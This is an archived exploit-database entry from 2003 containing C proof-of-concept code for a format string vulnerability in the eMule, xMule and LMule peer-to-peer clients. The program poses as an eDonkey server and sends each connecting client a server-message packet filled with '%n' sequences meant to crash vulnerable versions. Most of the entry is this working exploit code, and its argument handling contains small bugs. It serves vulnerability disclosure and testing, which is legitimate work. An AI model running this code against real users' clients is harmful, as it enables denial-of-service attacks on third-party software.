eMule/xMule/LMule - OP_SERVERMESSAGE Format String

EDB-ID:

90

CVE:





Platform:

Windows

Date:

2003-09-01


/*
 * eMule/xMule/LMule OP_SERVERMESSAGE Format String Vulnerability
 * (SecurityFocus BID 8443)
 * proof of concept code
 * version 1.0 (Aug 29 2003)
 *
 * by Rémi Denis-Courmont
 *
 * This vulnerability was found by:
 *   Stefan Esser <s.esser@e-matters.de>
 * whose original advisory may be fetched from:
 *   http://security.e-matters.de/advisories/022003.html
 *
 * Vulnerable:
 *  - eMule v0.29c -> wait for server connection timeout (!?! I need help !?!)
 *  - xMule stable v1.4.3 -> crash
 *  - xMule unstable v1.5.6a -> crash
 *  - Lmule v1.3.1 (NOT tested) -> ???
 *
 *   There is something wrong with eMule 0.29c (exception handling) and it
 * refuses to crash.
 *
 * Not vulnerable:
 *  - xMule stable v1.6.0,
 *  - eMule v0.30a.
 *
 *   As a format string vulnerability over a possibly large format input
 * buffer, experienced assembly coders (ie. NOT me) should be able to exploit
 * this vulnerability (you can find as much as 2 mega-bytes available in the
 * stack in the socket input buffer, and the message is also duplicated on
 * the heap and can be as long as 65535 bytes). However, getting clients to
 * connect to while not impossible, will be very very hard: Even though many
 * clients adds current server of other clients to their own server lists, so
 * that you can promote yourself as a server by actively connecting to others,
 * it is unlikely that your "server" will be selected from the list which
 * often exceeds 100 entries.
 *   Anyway, the following proof-of-concept is entirely passive, so you will
 * probably only be able to test it against yourself (which is very fine,
 * because you usually are you only legal victim).
 */


/*****************************************************************************
 * Copyright (C) 2003  Rémi Denis-Courmont.  All rights reserved.            *
 *                                                                           *
 * Redistribution and use in source and binary forms, with or without        *
 * modification, are permitted provided that the following conditions        *
 * are met:                                                                  *
 * 1. Redistributions of source code must retain the above copyright         *
 *    notice, this list of conditions and the following disclaimer.          *
 * 2. Redistributions in binary form must reproduce the above copyright      *
 *    notice, this list of conditions and the following disclaimer in the    *
 *    documentation and/or other materials provided with the distribution.   *
 *                                                                           *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      *
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES *
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   *
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          *
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  *
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     *
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       *
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  *
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         *
 *****************************************************************************/

#include <stdio.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netdb.h>

int gai_errno = 0;

void
gai_perror (const char *str)
{
	if ((gai_errno == EAI_SYSTEM) || (gai_errno == 0))
		perror (str);
	else
		fprintf (stderr, "%s: %s\n", str, gai_strerror (gai_errno));
}


int
socket_listen (const char *hostname, const char *servname)
{
	struct addrinfo hints, *res;

	hints.ai_family = PF_INET;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = 0;
	hints.ai_flags = AI_PASSIVE;

	if ((gai_errno = getaddrinfo (hostname, servname, &hints, &res)) == 0)
	{
		struct addrinfo *ptr;

		for (ptr = res; ptr != NULL; ptr = ptr->ai_next)
		{
			int sock;

			sock = socket (ptr->ai_family, ptr->ai_socktype,
					ptr->ai_protocol);
			if (sock != -1)
			{
				const int val = 1;

				setsockopt (sock, SOL_SOCKET, SO_REUSEADDR,
						&val, sizeof (val));
				if (bind (sock, ptr->ai_addr, ptr->ai_addrlen)
				 || listen (sock, INT_MAX))
					close (sock);
				else
				{
					/* success! */
					freeaddrinfo (res);
					return sock;
				}
			}
		}
		freeaddrinfo (res);
	}
	return -1;
}


int
send_server_message (int fd/*, const char *message*/)
{
	/*
	 * Note that eDonkey is an Intel-centric protocol that sends/receives
	 * everything in counter-network-byte order (ie. low order first).
	 */
	uint8_t buf[] =
		"\xE3" // protocol
		"\x70\x01\x00\x00" // packet size
		"\x38" // command (Server message)
		"\x6D\x01" // message length (xMule ingores it, eMule reads it)
		"%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
		"Welcome to messmule, a proof-of-concept for:\n"
		"eMule/xMule/Lmule OP_SERVERMESSAGE\n"
		"Format String Vulnerability\n"
		"%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
		"If you can read this message from your Server info box,\n"
		"your client is probably not affected by that vulnerability.\n"
		"%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
		;

	return (send (fd, buf, sizeof (buf) - 1, 0) != (sizeof (buf) - 1));
}


static int
usage (const char *path)
{
	printf (
"Syntax: %s [port [hostname|IP]]\n"
"        Attempt to crash eMule/xMule/LMule clients which will connect to\n"
"        the specified server port (or 4661 by default), at the local\n"
"        host address (or any available address by default)\n", path);

	return 2;
}


int
main (int argc, char *argv[])
{
	puts ("eMule/xMule/LMule OP_SERVERMESSAGE "
			"Format String Vulnerabilitytion Vulnerability\n"
		"proof of concept code\n"
		"Copyright (C) 2003 Rémi Denis-Courmont "
			"<exploit@simutrans.fr.st>\n");
	if (argc > 3)
		return usage (argv[0]);
	else
	{
		int listenfd;
		const char *host, *port;

		port = (argc < 2) ? "4661" : argv[2];
		host = (argc < 3) ? NULL : argv[3];
		printf ("Binding to [%s]:%s ...\n",
			(host != NULL) ? host : "any", port);
		listenfd = socket_listen (host, port);
		if (listenfd == -1)
		{
			gai_perror (host);
			return 1;
		}

		while (1)
		{
			int clientfd;

			fputs ("Waiting for a client to connect ... ", stdout);
			clientfd = accept (listenfd, NULL, 0);
			if (clientfd == -1)
			{
				puts ("");
				perror ("Error");
				continue;
			}
			puts ("OK");
			fputs ("Sending server message ... ", stdout);
			if (send_server_message (clientfd))
			{
				puts ("");
				perror ("Error");
			}
			else
				puts ("Done");
			close (clientfd);
		}
	}

	return 0; /* dead code */
}


// milw0rm.com [2003-09-01]